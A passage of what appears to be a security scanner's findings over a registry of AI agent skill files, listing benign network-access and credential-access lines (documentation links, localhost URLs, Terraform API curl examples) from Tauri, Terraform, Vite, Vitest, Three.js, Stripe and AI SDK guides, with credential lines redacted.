    "build": {         "devUrl": "http://localhost:5173",         "frontendDist": "../dist",
  • Network accessline 158
    "devUrl": "http://localhost:5173",
  • Network accessline 370
    const channel = new Channel<DownloadEvent>(); channel.onmessage = (msg) => console.log(msg.event, msg.data); await invoke('download', { url: 'https://...', onEvent: channel });
  • Network accessline 372
    await invoke('download', { url: 'https://...', onEvent: channel });
  • Network accessline 416
    *\*Last verified: 2026-04-02. Always check [official changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.md) for feature timing.*
  • Network accessline 432
    - [Tauri v2+ Documentation](https://v2.tauri.app/)
  • Network accessline 433
    - [Commands Reference](https://v2.tauri.app/develop/calling-rust/)
  • Network accessline 434
    - [Capabilities & Permissions](https://v2.tauri.app/security/capabilities/)
  • Network accessline 435
    - [Configuration Reference](https://v2.tauri.app/reference/config/)

packages/autoskills/skills-registry/tauri-v2/references/README.md

  • Network accessline 23
    *Last verified: 2026-04-02. Check [official Tauri changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.md) for updates.*

packages/autoskills/skills-registry/tauri-v2/references/capabilities-reference.md

  • Network accessline 175
    "identifier": "http:default",             "allow": [                 { "url": "https://api.example.com/*" },
  • Network accessline 176
    "allow": [                 { "url": "https://api.example.com/*" },                 { "url": "https://*.myapp.com/*" }
  • Network accessline 177
    { "url": "https://api.example.com/*" },
  • Network accessline 178
    { "url": "https://*.myapp.com/*" }
  • Network accessline 290
    "identifier": "remote-access",     "remote": {         "urls": ["https://*.myapp.com"]
  • Network accessline 291
    "remote": {         "urls": ["https://*.myapp.com"]     },
  • Network accessline 292
    "urls": ["https://*.myapp.com"]

packages/autoskills/skills-registry/tauri-v2/references/ipc-patterns.md

  • Network accessline 118
    try {     const data = await invoke<string>('fetch_data', { url: 'https://api.example.com' });
  • Network accessline 119
    const data = await invoke<string>('fetch_data', { url: 'https://api.example.com' });
  • Network accessline 471
    const path = await invoke<string>('download_file', {     url: 'https://example.com/file.zip',
  • Network accessline 472
    url: 'https://example.com/file.zip',

packages/autoskills/skills-registry/tauri-v2/references/updater-distribution-reference.md

  • Network accessline 22
    "updater": {       "active": true,       "endpoints": ["https://your-server.com/update/{{target}}/{{current_version}}"],
  • Network accessline 23
    "active": true,       "endpoints": ["https://your-server.com/update/{{target}}/{{current_version}}"],       "pubkey": "BASE64_PUBLIC_KEY_HERE",
  • Network accessline 24
    "endpoints": ["https://your-server.com/update/{{target}}/{{current_version}}"],
  • Network accessline 61
    "darwin-aarch64": {       "signature": "<content of .sig file>",       "url": "https://your-server/MyApp_1.0.1_aarch64.dmg"
  • Network accessline 62
    "signature": "<content of .sig file>",       "url": "https://your-server/MyApp_1.0.1_aarch64.dmg"     },
  • Network accessline 63
    "url": "https://your-server/MyApp_1.0.1_aarch64.dmg"
  • Network accessline 65
    "windows-x86_64": {       "signature": "<content of .sig file>",       "url": "https://your-server/MyApp_1.0.1_x64-setup.exe"
  • Network accessline 66
    "signature": "<content of .sig file>",       "url": "https://your-server/MyApp_1.0.1_x64-setup.exe"     }
  • Network accessline 67
    "url": "https://your-server/MyApp_1.0.1_x64-setup.exe"
  • Network accessline 137
    > *Last verified: 2026-04-02. Check the [updater plugin changelog](https://github.com/tauri-apps/plugins-workspace/blob/v2/plugins/updater/CHANGELOG.md) for any updates to the signing/key format.*

packages/autoskills/skills-registry/terraform-stacks/SKILL.md

  • Network accessline 52
    - Public registry: `terraform-aws-modules/vpc/aws` - Private registry: `app.terraform.io/<org-name>/vpc/aws` - Git: `git::https://github.com/org/repo.git//path?ref=v1.0.0`
  • Network accessline 54
    - Git: `git::https://github.com/org/repo.git//path?ref=v1.0.0`
  • Network accessline 155
    Configure workload identity using `identity_token` blocks and `assume_role_with_web_identity` in provider configuration. For detailed setup instructions for AWS, Azure, and GCP, see: https://developer.hashicorp.com/terraform/cloud-docs/dyna
  • Network accessline 432
    - Use artifacts endpoint to retrieve Stack outputs: `GET /api/v2/stack-deployment-steps/{step-id}/artifacts?name=apply-description` - Diagnostics endpoint requires `stack_deployment_step_id` query parameter - Artifacts endpoint returns HTTP
  • Network accessline 434
    - Artifacts endpoint returns HTTP 307 redirect (use `curl -L`)

packages/autoskills/skills-registry/terraform-stacks/references/api-monitoring.md

  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Network accessline 64
    [Credential-related source omitted]
  • Network accessline 66
    "https://app.terraform.io/api/v2/stack-configurations/{configuration-id}" | jq '.'
  • Network accessline 103
    [Credential-related source omitted]
  • Network accessline 105
    "https://app.terraform.io/api/v2/stack-configurations/{configuration-id}/stack-deployment-group-summaries" | jq '.'
  • Network accessline 146
    [Credential-related source omitted]
  • Network accessline 148
    "https://app.terraform.io/api/v2/stack-deployment-groups/{group-id}/stack-deployment-runs" | jq '.'
  • Network accessline 184
    [Credential-related source omitted]
  • Network accessline 186
    "https://app.terraform.io/api/v2/stack-deployment-runs/{run-id}/stack-deployment-steps" | jq '.'
  • Network accessline 236
    [Credential-related source omitted]
  • Network accessline 238
    "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics?stack_deployment_step_id={step-id}" | jq '.'
  • Network accessline 314
    [Credential-related source omitted]
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 316
    "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics?stack_deployment_step_id={step-id}" | \
  • Network accessline 319
    [Credential-related source omitted]
  • Network accessline 320
    [Credential-related source omitted]
  • Network accessline 321
    "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics?stack_deployment_step_id={step-id}" | \
  • Network accessline 331
    **Important Notes:** - This endpoint returns HTTP 307 redirect - use `curl -L` to follow redirects automatically
  • Network accessline 332
    - This endpoint returns HTTP 307 redirect - use `curl -L` to follow redirects automatically
  • Network accessline 340
    [Credential-related source omitted]
  • Network accessline 341
    "https://app.terraform.io/api/v2/stack-deployment-steps/{final-apply-step-id}/artifacts?name=apply-description"
  • Network accessline 352
    "change": {         "actions": ["no-op"],         "before": "http://my-alb-123456789.us-west-2.elb.amazonaws.com",
  • Network accessline 353
    "actions": ["no-op"],         "before": "http://my-alb-123456789.us-west-2.elb.amazonaws.com",         "after": "http://my-alb-123456789.us-west-2.elb.amazonaws.com",
  • Network accessline 354
    "before": "http://my-alb-123456789.us-west-2.elb.amazonaws.com",
  • Network accessline 355
    "after": "http://my-alb-123456789.us-west-2.elb.amazonaws.com",
  • Network accessline 380
    [Credential-related source omitted]
  • Network accessline 381
    "https://app.terraform.io/api/v2/stack-deployment-steps/{final-apply-step-id}/artifacts?name=apply-description" | \
  • Network accessline 388
    alb_url: http://my-alb-123456789.us-west-2.elb.amazonaws.com
  • Network accessline 418
    [Credential-related source omitted]
  • Network accessline 419
    [Credential-related source omitted]
  • Network accessline 420
    "https://app.terraform.io/api/v2/stack-deployment-runs/{run-id}" | \
  • Network accessline 476
    [Credential-related source omitted]
  • Network accessline 478
    BASE_URL="https://app.terraform.io/api/v2"
  • Network accessline 480
    [Credential-related source omitted]
  • Network accessline 481
    [Credential-related source omitted]
  • Network accessline 482
    [Credential-related source omitted]
  • Network accessline 519
    [Credential-related source omitted]
  • Network accessline 520
    [Credential-related source omitted]

packages/autoskills/skills-registry/terraform-stacks/references/component-blocks.md

  • Network accessline 221
    source = "git::https://github.com/org/repo.git//modules/vpc?ref=v1.0.0"
  • Network accessline 227
    source = "https://example.com/modules/vpc-module.tar.gz"

packages/autoskills/skills-registry/terraform-stacks/references/deployment-blocks.md

  • Network accessline 59
    **Setup Documentation:** For detailed instructions on configuring OIDC/workload identity for each cloud provider (including IAM roles, trust policies, and federated credentials), see: https://developer.hashicorp.com/terraform/cloud-docs/dyn

packages/autoskills/skills-registry/terraform-stacks/references/troubleshooting.md

  • Network accessline 199
    [Credential-related source omitted]
  • Network accessline 200
    [Credential-related source omitted]
  • Network accessline 201
    [Credential-related source omitted]
  • Network accessline 202
    "https://app.terraform.io/api/v2/stack-deployment-runs/{run-id}/stack-deployment-steps" | \
  • Network accessline 315
    - Application ID matches the one in provider configuration - Subject matches: `organization:<org>:project:<project>:stack:<stack>:deployment:<deployment>` - Issuer is `https://app.terraform.io`
  • Network accessline 317
    - Issuer is `https://app.terraform.io`
  • Network accessline 543
    curl "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics"
  • Network accessline 556
    curl "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics?stack_deployment_step_id={step-id}"
  • Network accessline 572
    [Credential-related source omitted]
  • Network accessline 573
    [Credential-related source omitted]
  • Network accessline 574
    "https://app.terraform.io/api/v2/stack-deployment-steps/$APPLY_STEP/artifacts?name=apply-description" | \
  • Network accessline 599
    [Credential-related source omitted]
  • Network accessline 600
    [Credential-related source omitted]
  • Network accessline 601
    "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}" | \
  • Network accessline 604
    [Credential-related source omitted]
  • Network accessline 605
    [Credential-related source omitted]
  • Network accessline 606
    [Credential-related source omitted]
  • Network accessline 607
    "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/artifacts?name=apply-description"
  • Network accessline 620
    [Credential-related source omitted]
  • Network accessline 621
    [Credential-related source omitted]
  • Network accessline 622
    "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/artifacts?name=apply-description"
  • Network accessline 624
    # Python requests: allow_redirects=True (default) import requests response = requests.get(url, headers=headers, allow_redirects=True)
  • Network accessline 626
    response = requests.get(url, headers=headers, allow_redirects=True)
  • Network accessline 628
    # Node.js fetch: redirect: 'follow' (default) const response = await fetch(url, {
  • Network accessline 629
    const response = await fetch(url, {
  • Network accessline 646
    [Credential-related source omitted]
  • Network accessline 647
    [Credential-related source omitted]
  • Network accessline 648
    [Credential-related source omitted]
  • Network accessline 649
    "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/artifacts?name=apply-debug-log"
  • Network accessline 654
    If experiencing widespread issues, check HCP Terraform status page: - https://status.hashicorp.com
  • Network accessline 655
    - https://status.hashicorp.com

packages/autoskills/skills-registry/terraform-style-guide/SECURITY.md

  • Network accessline 58
    Ephemeral resources prevent sensitive data being stored in state. For more information on ephemeral resources, see the [Terraform documentation](https://developer.hashicorp.com/terraform/language/block/ephemeral).
  • Network accessline 60
    [Terraform documentation](https://developer.hashicorp.com/terraform/language/block/ephemeral).

packages/autoskills/skills-registry/terraform-style-guide/SKILL.md

  • Network accessline 12
    **Reference:** [HashiCorp Terraform Style Guide](https://developer.hashicorp.com/terraform/language/style)
  • Network accessline 316
    *Based on: [HashiCorp Terraform Style Guide](https://developer.hashicorp.com/terraform/language/style)*

packages/autoskills/skills-registry/threejs-loaders/SKILL.md

  • Network accessline 234
    const dracoLoader = new DRACOLoader(); dracoLoader.setDecoderPath(   "https://www.gstatic.com/draco/versioned/decoders/1.5.6/",
  • Network accessline 235
    dracoLoader.setDecoderPath(   "https://www.gstatic.com/draco/versioned/decoders/1.5.6/", );
  • Network accessline 236
    "https://www.gstatic.com/draco/versioned/decoders/1.5.6/",
  • Network accessline 254
    const ktx2Loader = new KTX2Loader(); ktx2Loader.setTranscoderPath(   "https://cdn.jsdelivr.net/npm/three@0.160.0/examples/jsm/libs/basis/",
  • Network accessline 255
    ktx2Loader.setTranscoderPath(   "https://cdn.jsdelivr.net/npm/three@0.160.0/examples/jsm/libs/basis/", );
  • Network accessline 256
    "https://cdn.jsdelivr.net/npm/three@0.160.0/examples/jsm/libs/basis/",
  • Network accessline 527
    // From fetch const response = await fetch("model.glb");
  • Network accessline 528
    const response = await fetch("model.glb");
  • Network accessline 548
    // Custom URL modifier manager.setURLModifier((url) => {   return `https://cdn.example.com/${url}`;
  • Network accessline 549
    manager.setURLModifier((url) => {   return `https://cdn.example.com/${url}`; });
  • Network accessline 550
    return `https://cdn.example.com/${url}`;
  • Network accessline 584
    try {     const response = await fetch(url, { signal: controller.signal });
  • Network accessline 585
    const response = await fetch(url, { signal: controller.signal });

packages/autoskills/skills-registry/triage-bug/assets/spec-skeletons/reproduction_spec.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/upgrade-stripe/SKILL.md

  • Network accessline 13
    If the user specifies a target API version, use it. Otherwise, look up the current version on docs.stripe.com with any documentation or web tool available to you, for example `stripe docs /api/versioning` with the Stripe CLI. The [API versi
  • Network accessline 21
    For SDKs that support explicit API version overrides, use the selected target in client configuration and per-request overrides. Use it in curl `Stripe-Version` test headers, too. Replace bundled API versions shown in those examples with th
  • Network accessline 45
    Review the [API changelog](https://docs.stripe.com/changelog.md) for all changes between versions. See [API upgrades](https://docs.stripe.com/upgrades.md) for the full upgrade guide.
  • Network accessline 49
    See [Set a Stripe API version for your SDK](https://docs.stripe.com/sdks/set-version.md) for details on setting an API version in code.
  • Network accessline 101
    See [Stripe.js Versioning](https://docs.stripe.com/sdks/stripejs-versioning.md) for details.
  • Network accessline 110
    <script src="https://js.stripe.com/endive/stripe.js"></script>
  • Network accessline 139
    See [Mobile SDK Versioning](https://docs.stripe.com/sdks/mobile-sdk-versioning.md) for details.
  • Network accessline 164
    1. Review the [API changelog](https://docs.stripe.com/changelog.md) for changes between your current and target versions
  • Network accessline 165
    2. Check the [API upgrades guide](https://docs.stripe.com/upgrades.md) for migration guidance
  • Network accessline 167
    4. Update the `apiVersion` parameter in your Stripe client initialization 5. Test your integration against the new API version using the `Stripe-Version` header 6. For each destination that receives snapshot events, review its configured AP
  • Network accessline 168
    5. Test your integration against the new API version using the `Stripe-Version` header 6. For each destination that receives snapshot events, review its configured API version. For webhook endpoints, follow [webhook versioning](https://docs
  • Network accessline 169
    6. For each destination that receives snapshot events, review its configured API version. For webhook endpoints, follow [webhook versioning](https://docs.stripe.com/webhooks/versioning.md). For every v2 snapshot event destination — includin
  • Network accessline 179
    curl https://api.stripe.com/v1/customers \
  • Network accessline 194
    - For supported event types, follow the [migration guide](https://docs.stripe.com/webhooks/migrate-snapshot-to-thin-events.md) to move from snapshot events to thin events. After migration, webhook payloads no longer depend on API version up
  • Network accessline 197
    - Breaking changes are tagged by affected product areas (Payments, Billing, Connect, etc.) - Multiple API versions coexist simultaneously, enabling staged adoption - For 72 hours after upgrading, you can roll back to your previous API versi
  • Network accessline 199
    - For 72 hours after upgrading, you can roll back to your previous API version in [Workbench](https://dashboard.stripe.com/workbench/overview)

packages/autoskills/skills-registry/use-ai-sdk/SKILL.md

  • Network accessline 10
    - Repository: https://github.com/vercel/ai
  • Network accessline 11
    - Documentation: https://ai-sdk.dev/docs
  • Network accessline 24
    2. Read and grep the bundled docs at `node_modules/ai/docs/` (or `<package>/node_modules/ai/docs/`) and the source at `node_modules/ai/src/`. 3. Provider and framework packages bundle their own docs at `node_modules/@ai-sdk/<name>/docs/` (o
  • Network accessline 25
    3. Provider and framework packages bundle their own docs at `node_modules/@ai-sdk/<name>/docs/` (or `<package>/node_modules/@ai-sdk/<name>/docs/`). 4. If something isn't in the bundled docs, search https://ai-sdk.dev/docs. You can append `.
  • Network accessline 26
    4. If something isn't in the bundled docs, search https://ai-sdk.dev/docs. You can append `.md` to any docs page URL to get its markdown, and search via `https://ai-sdk.dev/api/search-docs?q=your_query`.
  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 46
    # All available models curl -s https://ai-gateway.vercel.sh/v1/models | jq -r '.data[].id'
  • Network accessline 47
    curl -s https://ai-gateway.vercel.sh/v1/models | jq -r '.data[].id'
  • Network accessline 49
    # Filter by provider (e.g. anthropic, openai, google) curl -s https://ai-gateway.vercel.sh/v1/models | jq -r '[.data[] | select(.id | startswith("anthropic/")) | .id] | reverse | .[]'
  • Network accessline 50
    curl -s https://ai-gateway.vercel.sh/v1/models | jq -r '[.data[] | select(.id | startswith("anthropic/")) | .id] | reverse | .[]'
  • Network accessline 59
    Look up the current agent, tool, and type-safety APIs in the bundled docs (`node_modules/ai/docs/`, especially the agents section) or at https://ai-sdk.dev/docs.
  • Network accessline 74
    If the installed version is a major version (or more) behind the latest, tell the user they are on an old release, and recommend upgrading before continuing. Migration guides are at https://ai-sdk.dev/docs/migration-guides.

packages/autoskills/skills-registry/vite/SKILL.md

  • Network accessline 5
    author: Anthony Fu   version: "2026.9.25"   source: Generated from https://github.com/vitejs/vite, scripts at https://github.com/antfu/skills
  • Network accessline 6
    version: "2026.9.25"   source: Generated from https://github.com/vitejs/vite, scripts at https://github.com/antfu/skills ---
  • Network accessline 7
    source: Generated from https://github.com/vitejs/vite, scripts at https://github.com/antfu/skills
  • Network accessline 59
    plugins: [],   resolve: { alias: { '@': '/src' } },   server: { port: 3000, proxy: { '/api': 'http://localhost:8080' } },
  • Network accessline 60
    resolve: { alias: { '@': '/src' } },   server: { port: 3000, proxy: { '/api': 'http://localhost:8080' } },   build: { target: 'esnext', outDir: 'dist' },
  • Network accessline 61
    server: { port: 3000, proxy: { '/api': 'http://localhost:8080' } },

packages/autoskills/skills-registry/vite/references/build-and-ssr.md

  • Network accessline 92
    - **Nuxt** (Vue) - https://nuxt.com
  • Network accessline 93
    - **SvelteKit** (Svelte) - https://svelte.dev/docs/kit
  • Network accessline 94
    - **SolidStart** (Solid) - https://start.solidjs.com
  • Network accessline 95
    - **TanStack Start** (React) - https://tanstack.com/start
  • Network accessline 99
    **Need a server?** Consider [Nitro](https://nitro.build) -- think of it as "Vite for servers." Nitro provides a portable, framework-agnostic server layer with file-based API routing, auto-imports, and deployment presets for dozens of platfo
  • Network accessline 170
    <!-- Source references: - https://vite.dev/guide/build
  • Network accessline 171
    Source references: - https://vite.dev/guide/build - https://vite.dev/guide/api-javascript
  • Network accessline 172
    - https://vite.dev/guide/build
  • Network accessline 173
    - https://vite.dev/guide/api-javascript
  • Network accessline 174
    - https://nitro.build

packages/autoskills/skills-registry/vite/references/core-config.md

  • Network accessline 127
    proxy: {       '/api': {         target: 'http://localhost:3000',
  • Network accessline 128
    '/api': {         target: 'http://localhost:3000',         changeOrigin: true,
  • Network accessline 129
    target: 'http://localhost:3000',
  • Network accessline 162
    Enable [Vite DevTools](https://github.com/vitejs/devtools) integration (requires `@vitejs/devtools*` packages). Cannot be set from a plugin `config` hook.
  • Network accessline 189
    <!-- Source references: - https://vite.dev/config/
  • Network accessline 190
    Source references: - https://vite.dev/config/ - https://vite.dev/guide/
  • Network accessline 191
    - https://vite.dev/config/
  • Network accessline 192
    - https://vite.dev/guide/

packages/autoskills/skills-registry/vite/references/core-features.md

  • Network accessline 130
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]
  • Network accessline 131
    VITE_API_URL=https://api.example.com
  • Access to secretsline 143
    [Credential-related source omitted]
  • Network accessline 233
    <!-- Source references: - https://vite.dev/guide/features
  • Network accessline 234
    Source references: - https://vite.dev/guide/features - https://vite.dev/guide/env-and-mode
  • Network accessline 235
    - https://vite.dev/guide/features
  • Network accessline 236
    - https://vite.dev/guide/env-and-mode
  • Network accessline 237
    - https://vite.dev/guide/assets
  • Network accessline 238
    - https://vite.dev/guide/api-hmr

packages/autoskills/skills-registry/vite/references/core-plugin-api.md

  • Network accessline 300
    <!-- Source references: - https://vite.dev/guide/api-plugin
  • Network accessline 301
    Source references: - https://vite.dev/guide/api-plugin -->
  • Network accessline 302
    - https://vite.dev/guide/api-plugin

packages/autoskills/skills-registry/vite/references/environment-api.md

  • Network accessline 143
    <!-- Source references: - https://vite.dev/guide/api-environment
  • Network accessline 144
    Source references: - https://vite.dev/guide/api-environment - https://vite.dev/guide/api-environment-frameworks
  • Network accessline 145
    - https://vite.dev/guide/api-environment
  • Network accessline 146
    - https://vite.dev/guide/api-environment-frameworks
  • Network accessline 147
    - https://vite.dev/guide/api-environment-plugins
  • Network accessline 148
    - https://vite.dev/guide/api-environment-runtimes
  • Network accessline 149
    - https://vite.dev/blog/announcing-vite6

packages/autoskills/skills-registry/vite/references/rolldown-migration.md

  • Network accessline 8
    Vite 8 replaces esbuild + Rollup with [Rolldown](https://rolldown.rs/) (Rust bundler) and [Oxc](https://oxc.rs/) (Rust transformer/minifier).
  • Network accessline 101
    - **`build()` throws `BundleError`** (JS API): typed `Error & { errors?: RolldownError[] }`. Access individual errors via `e.errors`. - **`build.rollupOptions.output.manualChunks`**: object form removed, function form deprecated. Use Rolldo
  • Network accessline 102
    - **`build.rollupOptions.output.manualChunks`**: object form removed, function form deprecated. Use Rolldown's [`codeSplitting`](https://rolldown.rs/reference/OutputOptions.codeSplitting).
  • Network accessline 167
    <!-- Source references: - https://vite.dev/guide/migration
  • Network accessline 168
    Source references: - https://vite.dev/guide/migration - https://vite.dev/blog/announcing-vite8
  • Network accessline 169
    - https://vite.dev/guide/migration
  • Network accessline 170
    - https://vite.dev/blog/announcing-vite8
  • Network accessline 171
    - https://vite.dev/config/shared-options#oxc

packages/autoskills/skills-registry/vitest/SKILL.md

  • Network accessline 5
    author: Anthony Fu   version: "2026.9.25"   source: Generated from https://github.com/vitest-dev/vitest, scripts located at https://github.com/antfu/skills
  • Network accessline 6
    version: "2026.9.25"   source: Generated from https://github.com/vitest-dev/vitest, scripts located at https://github.com/antfu/skills ---
  • Network accessline 7
    source: Generated from https://github.com/vitest-dev/vitest, scripts located at https://github.com/antfu/skills

packages/autoskills/skills-registry/vitest/references/advanced-environments.md

  • Network accessline 24
    environmentOptions: {       jsdom: {         url: 'http://localhost',
  • Network accessline 25
    jsdom: {         url: 'http://localhost',       },
  • Network accessline 26
    url: 'http://localhost',
  • Network accessline 85
    environmentOptions: {       jsdom: {         url: 'http://localhost:3000',
  • Network accessline 86
    jsdom: {         url: 'http://localhost:3000',         html: '<!DOCTYPE html><html><body></body></html>',
  • Network accessline 87
    url: 'http://localhost:3000',
  • Network accessline 269
    <!--  Source references: - https://vitest.dev/guide/environment.html
  • Network accessline 270
    Source references: - https://vitest.dev/guide/environment.html -->
  • Network accessline 271
    - https://vitest.dev/guide/environment.html

packages/autoskills/skills-registry/vitest/references/advanced-projects.md

  • Network accessline 237
    name: 'staging',           provide: {             apiUrl: 'https://staging.api.com',
  • Network accessline 238
    provide: {             apiUrl: 'https://staging.api.com',             debug: true,
  • Network accessline 239
    apiUrl: 'https://staging.api.com',
  • Network accessline 246
    name: 'production',           provide: {             apiUrl: 'https://api.com',
  • Network accessline 247
    provide: {             apiUrl: 'https://api.com',             debug: false,
  • Network accessline 248
    apiUrl: 'https://api.com',
  • Network accessline 338
    <!--  Source references: - https://vitest.dev/guide/projects.html
  • Network accessline 339
    Source references: - https://vitest.dev/guide/projects.html -->
  • Network accessline 340
    - https://vitest.dev/guide/projects.html

packages/autoskills/skills-registry/vitest/references/advanced-type-testing.md

  • Network accessline 235
    <!--  Source references: - https://vitest.dev/guide/testing-types.html
  • Network accessline 236
    Source references: - https://vitest.dev/guide/testing-types.html - https://vitest.dev/api/expect-typeof.html
  • Network accessline 237
    - https://vitest.dev/guide/testing-types.html
  • Network accessline 238
    - https://vitest.dev/api/expect-typeof.html

packages/autoskills/skills-registry/vitest/references/advanced-vi.md

  • Access to secretsline 188
    [Credential-related source omitted]
  • Network accessline 287
    <!--  Source references: - https://vitest.dev/api/vi.html
  • Network accessline 288
    Source references: - https://vitest.dev/api/vi.html -->
  • Network accessline 289
    - https://vitest.dev/api/vi.html

packages/autoskills/skills-registry/vitest/references/core-cli.md

  • Access to secretsline 126
    [Credential-related source omitted]
  • Network accessline 186
    <!--  Source references: - https://vitest.dev/guide/cli.html
  • Network accessline 187
    Source references: - https://vitest.dev/guide/cli.html -->
  • Network accessline 188
    - https://vitest.dev/guide/cli.html

packages/autoskills/skills-registry/vitest/references/core-config.md

  • Network accessline 212
    <!--  Source references: - https://vitest.dev/guide/#configuring-vitest
  • Network accessline 213
    Source references: - https://vitest.dev/guide/#configuring-vitest - https://vitest.dev/config/
  • Network accessline 214
    - https://vitest.dev/guide/#configuring-vitest
  • Network accessline 215
    - https://vitest.dev/config/

packages/autoskills/skills-registry/vitest/references/core-describe.md

  • Network accessline 192
    <!--  Source references: - https://vitest.dev/api/describe.html
  • Network accessline 193
    Source references: - https://vitest.dev/api/describe.html -->
  • Network accessline 194
    - https://vitest.dev/api/describe.html

packages/autoskills/skills-registry/vitest/references/core-expect.md

  • Network accessline 227
    await expect.poll(async ({ signal }) => {   const res = await fetch('/api/status', { signal })
  • Network accessline 228
    const res = await fetch('/api/status', { signal })
  • Network accessline 306
    <!--  Source references: - https://vitest.dev/api/expect.html
  • Network accessline 307
    Source references: - https://vitest.dev/api/expect.html - https://vitest.dev/guide/recipes/type-narrowing
  • Network accessline 308
    - https://vitest.dev/api/expect.html
  • Network accessline 309
    - https://vitest.dev/guide/recipes/type-narrowing
  • Network accessline 310
    - https://vitest.dev/guide/recipes/schema-matching

packages/autoskills/skills-registry/vitest/references/core-hooks.md

  • Network accessline 241
    <!--  Source references: - https://vitest.dev/api/hooks.html
  • Network accessline 242
    Source references: - https://vitest.dev/api/hooks.html -->
  • Network accessline 243
    - https://vitest.dev/api/hooks.html

packages/autoskills/skills-registry/vitest/references/core-test-api.md

  • Network accessline 181
    // signal (3.2+): AbortSignal aborted on timeout/cancel/bail test('aborts on timeout', async ({ signal }) => {   await fetch('/resource', { signal })
  • Network accessline 182
    test('aborts on timeout', async ({ signal }) => {   await fetch('/resource', { signal }) }, 2000)
  • Network accessline 183
    await fetch('/resource', { signal })
  • Network accessline 264
    <!--  Source references: - https://vitest.dev/api/test.html
  • Network accessline 265
    Source references: - https://vitest.dev/api/test.html -->
  • Network accessline 266
    - https://vitest.dev/api/test.html

packages/autoskills/skills-registry/vitest/references/features-benchmarking.md

  • Network accessline 8
    In v5 the benchmark API was rewritten: `bench` is **no longer a top-level import**. It is a [test-context fixture](features-context.md) used inside a regular `test()`, available only in files matched by `benchmark.include` (default `**/*.{b
  • Network accessline 59
    bench('current', { writeResult: './benchmarks/parse.json' }, () => parse(input)),     bench.from('previous', './benchmarks/parse.json'),       // reads a stored result, no run     bench.from('remote', () => fetch(url).then(r => r.json())),
  • Network accessline 60
    bench.from('previous', './benchmarks/parse.json'),       // reads a stored result, no run     bench.from('remote', () => fetch(url).then(r => r.json())),   )
  • Network accessline 61
    bench.from('remote', () => fetch(url).then(r => r.json())),
  • Network accessline 96
    <!-- Source references: - https://vitest.dev/guide/benchmarking
  • Network accessline 97
    Source references: - https://vitest.dev/guide/benchmarking - https://vitest.dev/guide/test-context#bench
  • Network accessline 98
    - https://vitest.dev/guide/benchmarking
  • Network accessline 99
    - https://vitest.dev/guide/test-context#bench

packages/autoskills/skills-registry/vitest/references/features-concurrency.md

  • Network accessline 219
    <!--  Source references: - https://vitest.dev/guide/parallelism.html
  • Network accessline 220
    Source references: - https://vitest.dev/guide/parallelism.html - https://vitest.dev/guide/improving-performance.html
  • Network accessline 221
    - https://vitest.dev/guide/parallelism.html
  • Network accessline 222
    - https://vitest.dev/guide/improving-performance.html

packages/autoskills/skills-registry/vitest/references/features-context.md

  • Network accessline 62
    return db   })   .extend('baseUrl', { injected: true }, () => 'http://localhost:3000') // overridable via config
  • Network accessline 64
    .extend('baseUrl', { injected: true }, () => 'http://localhost:3000') // overridable via config
  • Network accessline 76
    await page.close()     // cleanup after   },   baseUrl: 'http://localhost:3000',
  • Network accessline 77
    },   baseUrl: 'http://localhost:3000', })
  • Network accessline 78
    baseUrl: 'http://localhost:3000',
  • Network accessline 102
    test: {     projects: [       { test: { name: 'prod', provide: { url: 'https://prod' } } },
  • Network accessline 103
    projects: [       { test: { name: 'prod', provide: { url: 'https://prod' } } },     ],
  • Network accessline 104
    { test: { name: 'prod', provide: { url: 'https://prod' } } },
  • Network accessline 122
    test('uses prod config', ({ server }) => {     expect(server.url).toBe('http://api.example.com:8080')
  • Network accessline 123
    expect(server.url).toBe('http://api.example.com:8080')
  • Network accessline 160
    <!--  Source references: - https://vitest.dev/guide/test-context.html
  • Network accessline 161
    Source references: - https://vitest.dev/guide/test-context.html -->
  • Network accessline 162
    - https://vitest.dev/guide/test-context.html

packages/autoskills/skills-registry/vitest/references/features-coverage.md

  • Network accessline 204
    - **Glob thresholds don't inherit top-level `perFile`** — set `perFile` on each glob that needs it. - **`coverage.autoAttachSubprocess`** (v8) tracks child-process/worker-thread coverage. - **Istanbul moved to the maintained [`@vitest/istan
  • Network accessline 206
    - **Istanbul moved to the maintained [`@vitest/istanbuljs`](https://github.com/vitest-dev/istanbuljs) fork**; the v8 provider merges reports with bounded memory.
  • Network accessline 223
    <!--  Source references: - https://vitest.dev/guide/coverage.html
  • Network accessline 224
    Source references: - https://vitest.dev/guide/coverage.html -->
  • Network accessline 225
    - https://vitest.dev/guide/coverage.html

packages/autoskills/skills-registry/vitest/references/features-filtering.md

  • Network accessline 208
    <!--  Source references: - https://vitest.dev/guide/filtering.html
  • Network accessline 209
    Source references: - https://vitest.dev/guide/filtering.html - https://vitest.dev/guide/cli.html
  • Network accessline 210
    - https://vitest.dev/guide/filtering.html
  • Network accessline 211
    - https://vitest.dev/guide/cli.html

packages/autoskills/skills-registry/vitest/references/features-mocking.md

  • Network accessline 163
    test('dynamic mock', async () => {   vi.doMock('./config', () => ({     apiUrl: 'http://test.local',
  • Network accessline 164
    vi.doMock('./config', () => ({     apiUrl: 'http://test.local',   }))
  • Network accessline 165
    apiUrl: 'http://test.local',
  • Network accessline 168
    const { apiUrl } = await import('./config')   expect(apiUrl).toBe('http://test.local')
  • Network accessline 169
    expect(apiUrl).toBe('http://test.local')
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]
  • Network accessline 328
    <!--  Source references: - https://vitest.dev/guide/mocking.html
  • Network accessline 329
    Source references: - https://vitest.dev/guide/mocking.html - https://vitest.dev/api/vi.html
